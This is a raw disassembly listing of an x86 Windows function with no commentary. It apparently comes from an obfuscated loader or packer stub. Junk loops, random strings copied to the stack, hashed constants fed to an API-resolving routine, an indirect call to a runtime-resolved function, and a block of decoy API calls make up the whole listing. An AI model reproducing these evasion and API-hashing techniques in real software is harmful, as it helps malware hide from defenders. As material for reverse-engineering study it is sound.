mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 8]
mov dword [ebp - 0x184], edx
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x188], eax
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x184]
cmp edx, dword [ebp - 0x188]
jge 0x6209c0
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x10]
sub ecx, 1
mov dword [ebp - 0x10], ecx
jmp 0x6206a6
cmp dword [0x76520c], 0
jne 0x620a18
push 0x9481
push 0x2eb5
push 0xd4f7
push 0xea58
push 0xc6a0
push 0xcd62
push 0x45a4
push 0x4122
push 0xeefd
call fcn.004138c0
add esp, 0x24
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x76520c], eax
mov ecx, 0xe7
mov esi, str.VlHHRCVekWUUOE
lea edi, [ebp - 0x20f0]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
call fcn.00406140
mov ecx, 0xd8
mov esi, str.jWIhveCyVkXJMohSuPNavGTKsBwxBHewUSEHH
lea edi, [ebp - 0xf24]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov edx, dword [ebp - 0x4c]
sub edx, 0x93a2
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x4c]
mov dword [ebp - 0x28], eax
jmp 0x620a64
mov ecx, dword [ebp - 0x28]
add ecx, 1
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x28]
cmp edx, dword [ebp - 0x5c]
jge 0x620b42
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x50]
jge 0x620ae1
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x38]
jge 0x620ae1
mov edx, dword [ebp - 0x14]
sub edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x30]
imul eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x48]
jge 0x620ae1
mov ecx, dword [ebp - 0x48]
sub ecx, dword [ebp - 0x34]
je 0x620ae1
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 0x3c]
je 0x620ae1
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x1c]
jge 0x620ae1
mov ecx, dword [ebp - 0x2c]
cmp ecx, dword [ebp - 0x34]
jge 0x620abd
mov edx, dword [ebp - 0x20]
cmp edx, dword [ebp - 0x44]
jl 0x620ad0
mov eax, dword [ebp - 0x50]
xor eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x48]
jge 0x620ae1
mov ecx, dword [ebp - 0x38]
cmp ecx, dword [ebp - 0x54]
jge 0x620ae1
mov edx, dword [ebp - 0x24]
cmp edx, dword [ebp - 0x18]
jge 0x620ae1
mov eax, dword [ebp - 0x24]
sub eax, 1
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x44]
add ecx, 1
mov dword [ebp - 0x44], ecx
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x20]
and eax, dword [ebp - 0x1c]
jne 0x620b22
mov ecx, dword [ebp - 0x3c]
sub ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp - 0x2c]
jl 0x620b22
mov edx, dword [ebp - 0x14]
cmp edx, dword [ebp - 0x40]
jge 0x620b16
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x58]
jl 0x620b22
mov ecx, dword [ebp - 0x44]
imul ecx, dword [ebp - 0x4c]
cmp ecx, dword [ebp - 0x10]
jge 0x620b2b
mov edx, dword [ebp - 0x38]
add edx, 1
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x54]
add eax, 1
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0x44]
add ecx, 1
mov dword [ebp - 0x44], ecx
jmp 0x620a5b
mov ecx, 0xcb
mov esi, str.SsmmaWlycdNxka
lea edi, [ebp - 0x868]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov edx, dword [ebp - 0x28]
sub edx, 0x2234
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x4c]
add eax, dword [ebp - 0x28]
mov dword [ebp - 0x4c], eax
jmp 0x620b76
mov ecx, dword [ebp - 0x4c]
add ecx, 1
mov dword [ebp - 0x4c], ecx
mov edx, dword [ebp - 0x4c]
cmp edx, dword [ebp - 0x34]
jge 0x620c48
mov eax, dword [ebp - 0x3c]
sub eax, 1
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x50]
cmp ecx, dword [ebp - 0x28]
jl 0x620bae
mov edx, dword [ebp - 0x10]
cmp edx, dword [ebp - 0x3c]
jge 0x620bb7
mov eax, dword [ebp - 0x30]
xor eax, dword [ebp - 0x18]
je 0x620bb7
mov ecx, dword [ebp - 0x48]
imul ecx, dword [ebp - 0x38]
test ecx, ecx
je 0x620bb7
mov edx, dword [ebp - 0x24]
sub edx, 1
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x50]
sub eax, 1
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 4]
or ecx, dword [ebp - 0x20]
mov dword [ebp - 0x18c], ecx
mov edx, dword [ebp - 0x40]
mov dword [ebp - 0x190], edx
mov eax, dword [ebp - 0x20]
add eax, 1
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x18c]
cmp ecx, dword [ebp - 0x190]
jge 0x620bf5
mov edx, dword [ebp - 0x58]
add edx, 1
mov dword [ebp - 0x58], edx
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x194], eax
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x198], ecx
mov edx, dword [ebp - 0x5c]
add edx, 1
mov dword [ebp - 0x5c], edx
mov eax, dword [ebp - 0x194]
cmp eax, dword [ebp - 0x198]
jge 0x620c27
mov ecx, dword [ebp - 4]
sub ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 8]
cmp edx, dword [ebp - 0x24]
jge 0x620c43
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x2c]
jge 0x620c43
mov ecx, dword [ebp - 0x28]
add ecx, 1
mov dword [ebp - 0x28], ecx
jmp 0x620b6d
mov edx, dword [0x765220]
push edx
mov eax, dword [0x765210]
push eax
mov ecx, dword [0x76521c]
push ecx
mov edx, dword [0x765208]
push edx
mov eax, dword [0x76520c]
push eax
push 0x4257
push 0x8f73
push 0xd3fa
push 0xf94c
push 0x2df5
push 0x6bca
push 0xb042
call fcn.0042c780
add esp, 0x1c
push eax
mov ecx, dword [0x76520c]
push ecx
call fcn.006219c0
add esp, 8
call eax
test eax, eax
je 0x6217e0
mov ecx, 0xf4
mov esi, str.PlfuRYJMKNGeGMyifLUbWbVFqXAJ
lea edi, [ebp - 0x4230]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov edx, dword [ebp - 0x58]
sub edx, 0xe390
mov dword [ebp - 0x58], edx
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x58]
mov dword [ebp - 0xc], eax
jmp 0x620ce3
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp - 0x24]
jge 0x62103d
mov eax, dword [ebp - 0x54]
add eax, 1
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0x2c]
or ecx, dword [ebp - 0x54]
je 0x620d08
mov edx, dword [ebp - 0x28]
sub edx, dword [ebp - 0x44]
jne 0x620d39
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x19c], eax
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x1a0], ecx
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x19c]
cmp eax, dword [ebp - 0x1a0]
jge 0x620d42
mov ecx, dword [ebp - 0x58]
cmp ecx, dword [ebp - 0x48]
jge 0x620d42
mov edx, dword [ebp - 4]
sub edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x54]
sub eax, 1
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0x54]
cmp ecx, dword [ebp - 0x58]
jge 0x620d5b
mov edx, dword [ebp - 0x30]
and edx, dword [ebp - 0x14]
jne 0x620d79
mov eax, dword [ebp - 0x44]
add eax, dword [ebp - 4]
mov dword [ebp - 0x1a4], eax
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
cmp dword [ebp - 0x1a4], 0
je 0x620d82
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x40]
cmp eax, dword [ebp - 0x28]
jge 0x620d95
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x50]
jl 0x620d9d
mov edx, dword [ebp - 0x58]
cmp edx, dword [ebp - 0x18]
jge 0x620df1
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x1a8], ecx
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x1ac], edx
mov eax, dword [ebp - 0x28]
add eax, 1
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x1a8]
cmp ecx, dword [ebp - 0x1ac]
jge 0x620df1
mov edx, dword [ebp - 0x30]
sub edx, dword [ebp - 0x48]
je 0x620df1
mov eax, dword [ebp - 0x18]
sub eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 0x18]
jge 0x620df1
mov edx, dword [ebp - 0x30]
sub edx, 1
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x10]
xor eax, dword [ebp - 8]
mov dword [ebp - 0x1b0], eax
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
cmp dword [ebp - 0x1b0], 0
jne 0x620e5c
mov edx, dword [ebp - 0x18]
sub edx, 1
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
and eax, dword [ebp - 0x44]
je 0x620e49
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1b4], ecx
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x1b8], edx
mov eax, dword [ebp - 0x2c]
add eax, 1
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x1b4]
cmp ecx, dword [ebp - 0x1b8]
jl 0x620e5c
mov edx, dword [ebp - 0x20]
cmp edx, dword [ebp - 0x58]
jge 0x620e65
mov eax, dword [ebp - 0x30]
and eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x1c]
jge 0x620e65
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x18]
cmp edx, dword [ebp - 0x50]
jge 0x620e78
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x4c]
jl 0x620e89
mov ecx, dword [ebp - 0x14]
sub ecx, 1
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x20]
add edx, dword [ebp - 0x14]
je 0x620ecb
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x28]
jge 0x620ecb
mov ecx, dword [ebp - 0x2c]
or ecx, dword [ebp - 0x14]
je 0x620eba
mov edx, dword [ebp - 0x54]
cmp edx, dword [ebp - 0x28]
jge 0x620eba
mov eax, dword [ebp - 0x20]
add eax, 1
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
cmp ecx, dword [ebp - 0x58]
jge 0x620eba
mov edx, dword [ebp - 0x44]
and edx, dword [ebp - 0x38]
jne 0x620ec2
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x34]
jge 0x620ecb
mov ecx, dword [ebp - 0x4c]
add ecx, 1
mov dword [ebp - 0x4c], ecx
mov edx, dword [ebp - 0x48]
add edx, 1
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0x14]
jge 0x620ee8
mov dword [ebp - 0xa4], 1
jmp 0x620ef2
mov dword [ebp - 0xa4], 0
mov ecx, dword [ebp - 0x1c]
and ecx, dword [ebp - 0xa4]
je 0x620fb4
mov edx, dword [ebp - 0x40]
sub edx, dword [ebp - 0x10]
je 0x620f11
mov eax, dword [ebp - 0x28]
and eax, dword [ebp - 0x50]
jne 0x620f3e
mov ecx, dword [ebp - 0x2c]
sub ecx, 1
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x14]
cmp edx, dword [ebp - 0x2c]
jl 0x620f3e
mov eax, dword [ebp - 0x44]
add eax, 1
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 4]
xor ecx, dword [ebp - 0x44]
cmp ecx, dword [ebp - 0x3c]
jl 0x620f3e
mov edx, dword [ebp - 0x34]
cmp edx, dword [ebp - 0x38]
jge 0x620fb4
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 4]
jl 0x620fab
mov ecx, dword [ebp - 0x2c]
cmp ecx, dword [ebp - 0x38]
jge 0x620f5a
mov dword [ebp - 0xa8], 1
jmp 0x620f64
mov dword [ebp - 0xa8], 0
mov edx, dword [ebp - 0x58]
xor edx, dword [ebp - 0xa8]
jne 0x620fab
mov eax, dword [ebp - 0x28]
xor eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x34]
jl 0x620fab
mov ecx, dword [ebp - 0x40]
cmp ecx, dword [ebp - 0x20]
jl 0x620fab
mov edx, dword [ebp - 0x10]
cmp edx, dword [ebp - 0x54]
jge 0x620f96
mov dword [ebp - 0xac], 1
jmp 0x620fa0
mov dword [ebp - 0xac], 0
mov eax, dword [ebp - 0x5c]
xor eax, dword [ebp - 0xac]
je 0x620fb4
mov ecx, dword [ebp - 0x1c]
sub ecx, 1
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x54]
sub edx, 1
mov dword [ebp - 0x54], edx
mov eax, dword [ebp - 0x4c]
cmp eax, dword [ebp - 0x18]
jge 0x620fe2
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x14]
imul edx, dword [ebp - 4]
test edx, edx
je 0x620fe2
mov eax, dword [ebp - 0x18]
sub eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x2c]
add ecx, 1
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x28]
sub edx, dword [ebp - 0x3c]
jne 0x620ffb
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 8]
jge 0x621038
mov ecx, dword [ebp - 0x40]
add ecx, 1
mov dword [ebp - 0x40], ecx
mov edx, dword [ebp - 0x40]
and edx, dword [ebp - 0x18]
cmp edx, dword [ebp - 0x14]
jl 0x62102f
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x1c]
jl 0x62102f
mov ecx, dword [ebp - 0x2c]
cmp ecx, dword [ebp - 0x34]
jge 0x621038
mov edx, dword [ebp - 0x14]
cmp edx, dword [ebp - 0x5c]
jge 0x621038
mov eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 4]
jge 0x621038
mov ecx, dword [ebp - 8]
sub ecx, 1
mov dword [ebp - 8], ecx
jmp 0x620cda
mov ecx, 0xdf
mov esi, str.FtyUqRpAgOeIkaOqnmpJtLBjVskCEMEyWqVfXfbnKdiLqVZtEkUVnkgrAnlReBLpyxLlvdniDLeiXjtRAjElArxrAZbAlpvkvX
lea edi, [ebp - 0x1624]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov edx, dword [ebp - 0x58]
add edx, 0x4573
mov dword [ebp - 0x58], edx
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x58]
mov dword [ebp - 0x24], eax
jmp 0x621072
mov ecx, dword [ebp - 0x24]
add ecx, 1
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x24]
cmp edx, dword [ebp - 8]
jge 0x6210a9
mov eax, dword [ebp - 0x4c]
add eax, 1
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x18]
sub ecx, 1
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x28]
sub edx, 1
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
jmp 0x621069
cmp dword [0x76520c], 0
je 0x6217e0
mov dword [ebp - 0x1d0], 0x403a
mov dword [ebp - 0xb0], 0x11671
mov dword [ebp - 0x204], 0x14db4
mov dword [ebp - 0xb8], 0x158b2
mov dword [ebp - 0x1ec], 0x509
mov dword [ebp - 0x6c], 0x4188
mov dword [ebp - 0x60], 0x16e8e
mov dword [ebp - 0x1c4], 0x131d3
mov dword [ebp - 0x1c0], 0x80cf
mov dword [ebp - 0x1bc], 0x167a
mov dword [ebp - 0x68], 0x15fd7
mov dword [ebp - 0xb4], 0xc32f
mov dword [ebp - 0x208], 0x13366
mov dword [ebp - 0x1f0], 0xe349
mov dword [ebp - 0x78], 0x11e51
mov dword [ebp - 0x80], 0x2dee
mov dword [ebp - 0x20c], 0x3ca0
mov dword [ebp - 0x1dc], 0x289c
mov dword [ebp - 0x1f4], 0x46d6
mov dword [ebp - 0x7c], 0x93b3
mov dword [ebp - 0x64], 0xb25b
mov dword [ebp - 0x74], 0x14fb6
mov dword [ebp - 0x210], 0x81ea
mov dword [ebp - 0x70], 0x109a0
mov ecx, 0xeb
mov esi, str.IinVUuaBBVxMjayMpxgXgjVjdZP
lea edi, [ebp - 0x3330]
rep movsd dword es:[edi], dword [esi]
call fcn.0040cf50
call fcn.006175e0
mov ecx, 0xc8
mov esi, str.BFnKlELSEZZJmWnfjeViQoOxbrqzmJabztMUnDBKSmLFccwrnnnrapYPPeep
lea edi, [ebp - 0x538]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov edx, dword [ebp - 0x74]
sub edx, 0x124a2
mov dword [ebp - 0x74], edx
mov eax, dword [ebp - 0x6c]
sub eax, dword [ebp - 0x74]
mov dword [ebp - 0x6c], eax
jmp 0x6211dc
mov ecx, dword [ebp - 0x6c]
add ecx, 1
mov dword [ebp - 0x6c], ecx
mov edx, dword [ebp - 0x6c]
cmp edx, dword [ebp - 0x1bc]
jge 0x621344
mov eax, dword [ebp - 0x7c]
sub eax, 1
mov dword [ebp - 0x7c], eax
mov ecx, dword [ebp - 0x60]
sub ecx, 1
mov dword [ebp - 0x60], ecx
mov edx, dword [ebp - 0x80]
add edx, dword [ebp - 0x1c0]
cmp edx, dword [ebp - 0x60]
jge 0x621237
mov eax, dword [ebp - 0x1c4]
mov dword [ebp - 0x1c8], eax
mov ecx, dword [ebp - 0x70]
mov dword [ebp - 0x1cc], ecx
mov edx, dword [ebp - 0x70]
add edx, 1
mov dword [ebp - 0x70], edx
mov eax, dword [ebp - 0x1c8]
cmp eax, dword [ebp - 0x1cc]
jl 0x621279
mov ecx, dword [ebp - 0x78]
add ecx, dword [ebp - 0x64]
je 0x621288
mov edx, dword [ebp - 0x68]
sub edx, dword [ebp - 0x60]
mov dword [ebp - 0x1d4], edx
mov eax, dword [ebp - 0x1d0]
mov dword [ebp - 0x1d8], eax
mov ecx, dword [ebp - 0x68]
add ecx, 1
mov dword [ebp - 0x68], ecx
mov edx, dword [ebp - 0x1d4]
cmp edx, dword [ebp - 0x1d8]
jge 0x621288
mov eax, dword [ebp - 0x74]
cmp eax, dword [ebp - 0x1dc]
jge 0x621288
mov ecx, dword [ebp - 0xb0]
add ecx, 1
mov dword [ebp - 0xb0], ecx
mov edx, dword [ebp - 0x64]
sub edx, 1
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x1e0], eax
mov ecx, dword [ebp - 0x60]
mov dword [ebp - 0x1e4], ecx
mov edx, dword [ebp - 0x60]
add edx, 1
mov dword [ebp - 0x60], edx
mov eax, dword [ebp - 0x1e0]
cmp eax, dword [ebp - 0x1e4]
jge 0x6212f8
mov ecx, dword [ebp - 0x78]
or ecx, dword [ebp - 0x68]
mov dword [ebp - 0x1e8], ecx
mov edx, dword [ebp - 0x78]
add edx, 1
mov dword [ebp - 0x78], edx
cmp dword [ebp - 0x1e8], 0
jne 0x6212e9
mov eax, dword [ebp - 0x1ec]
imul eax, dword [ebp - 0x1f0]
test eax, eax
je 0x6212f8
mov ecx, dword [ebp - 0xb4]
add ecx, 1
mov dword [ebp - 0xb4], ecx
mov edx, dword [ebp - 0x64]
sub edx, 1
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 0x1f4]
cmp eax, dword [ebp - 0x64]
jge 0x621315
mov ecx, dword [ebp - 0x7c]
add ecx, 1
mov dword [ebp - 0x7c], ecx
mov edx, dword [ebp - 0x68]
add edx, 1
mov dword [ebp - 0x68], edx
mov eax, dword [ebp - 0x80]
add eax, 1
mov dword [ebp - 0x80], eax
mov ecx, dword [ebp - 0xb8]
sub ecx, 1
mov dword [ebp - 0xb8], ecx
mov edx, dword [ebp - 0x70]
add edx, 1
mov dword [ebp - 0x70], edx
jmp 0x6211d3
mov ecx, 0xeb
mov esi, 0x6456e0
lea edi, [ebp - 0x36dc]
rep movsd dword es:[edi], dword [esi]
call fcn.00425a40
call dword [sym.imp.USER32.dll_EnableMenuItem]
call dword [sym.imp.USER32.dll_PostQuitMessage]
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.GDI32.dll_SelectObject]
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
call dword [sym.imp.KERNEL32.dll_SetLastError]
call dword [sym.imp.USER32.dll_EnumDisplayMonitors]
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
call dword [sym.imp.USER32.dll_SetCursor]
call dword [sym.imp.KERNEL32.dll_GetACP]
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
call dword [sym.imp.USER32.dll_RemovePropA]
call dword [sym.imp.KERNEL32.dll_AllocConsole]
call dword [sym.imp.KERNEL32.dll_CreateEventA]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call dword [sym.imp.KERNEL32.dll_LocalFree]
call dword [sym.imp.CRYPT32.dll_CertFreeCertificateContext]
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
call dword [sym.imp.KERNEL32.dll_AttachConsole]
call dword [sym.imp.USER32.dll_IsDlgButtonChecked]
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
call dword [sym.imp.GDI32.dll_GetObjectA]
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
call dword [sym.imp.KERNEL32.dll_GetFileType]
call dword [sym.imp.KERNEL32.dll_CreateThread]
call dword [sym.imp.USER32.dll_InvalidateRect]
call dword [sym.imp.KERNEL32.dll_RegisterWaitForSingleObject]
call dword [sym.imp.USER32.dll_GetSysColorBrush]
call dword [sym.imp.KERNEL32.dll_RaiseException]
mov ecx, 0xeb
mov esi, str.dbFIQgrqARzZxGsCuNQpKxoHWkTbvUznUvSTFmKTeOqUR
lea edi, [ebp - 0x3a8c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 0x1c]
add eax, 0x5b6c
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x34]
sub ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x34], ecx
jmp 0x621814
mov edx, dword [ebp - 0x34]
add edx, 1
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x44]
jge 0x6219af
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x38]
add eax, 1
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x1c]
and ecx, dword [ebp - 0x38]
jne 0x621853
mov edx, dword [ebp - 0x54]
cmp edx, dword [ebp - 0x58]
jge 0x621895
mov eax, dword [ebp - 0x48]
and eax, dword [ebp - 0x14]
je 0x621895
mov ecx, dword [ebp - 0x2c]
cmp ecx, dword [ebp - 0x1c]
jge 0x621867
mov dword [ebp - 0xbc], 1
jmp 0x621871
mov dword [ebp - 0xbc], 0
mov edx, dword [ebp - 0x4c]
or edx, dword [ebp - 0xbc]
je 0x621895
mov eax, dword [ebp - 0x50]
and eax, dword [ebp - 0xc]
je 0x621895
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [ebp - 0x10]
jge 0x621895
mov edx, dword [ebp - 0x18]
add edx, 1
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0x48]
jge 0x6218d2
mov ecx, dword [ebp - 0x10]
and ecx, dword [ebp - 8]
mov dword [ebp - 0x1f8], ecx
mov edx, dword [ebp - 0x3c]
mov dword [ebp - 0x1fc], edx
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x1f8]
cmp ecx, dword [ebp - 0x1fc]
jge 0x6218d2
mov edx, dword [ebp - 0x50]
sub edx, 1
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0x1c]
or eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x54]
jge 0x6218ee
mov ecx, dword [ebp - 0x3c]
cmp ecx, dword [ebp - 0xc]
jge 0x6218ee
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x20]
xor eax, dword [ebp - 0x48]
je 0x62192d
mov ecx, dword [ebp - 0x14]
sub ecx, 1
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x24]
cmp edx, dword [ebp - 0x14]
jge 0x62192d
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0x200], eax
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0x200], 0
je 0x62192d
mov edx, dword [ebp - 0x58]
cmp edx, dword [ebp - 0x5c]
jl 0x621935
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x54]
je 0x6219aa
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [ebp - 4]
jl 0x62195d
mov edx, dword [ebp - 0x5c]
cmp edx, dword [ebp - 0x38]
jl 0x62195d
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x30]
jge 0x6219aa
mov ecx, dword [ebp - 0x3c]
sub ecx, dword [ebp - 0x48]
je 0x6219aa
mov edx, dword [ebp - 0x2c]
xor edx, dword [ebp - 0x10]
je 0x6219aa
mov eax, dword [ebp - 0x40]
cmp eax, dword [ebp - 4]
jge 0x6219aa
mov ecx, dword [ebp - 8]
xor ecx, dword [ebp - 0x4c]
cmp ecx, dword [ebp - 0x54]
jge 0x621999
mov edx, dword [ebp - 0x48]
cmp edx, dword [ebp - 4]
jge 0x621984
mov dword [ebp - 0xc0], 1
jmp 0x62198e
mov dword [ebp - 0xc0], 0
mov eax, dword [ebp - 0x50]
xor eax, dword [ebp - 0xc0]
jne 0x6219a1
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x54]
jge 0x6219aa
mov edx, dword [ebp - 4]
sub edx, 1
mov dword [ebp - 4], edx
jmp 0x62180b
pop edi
pop esi
mov esp, ebp
pop ebp
ret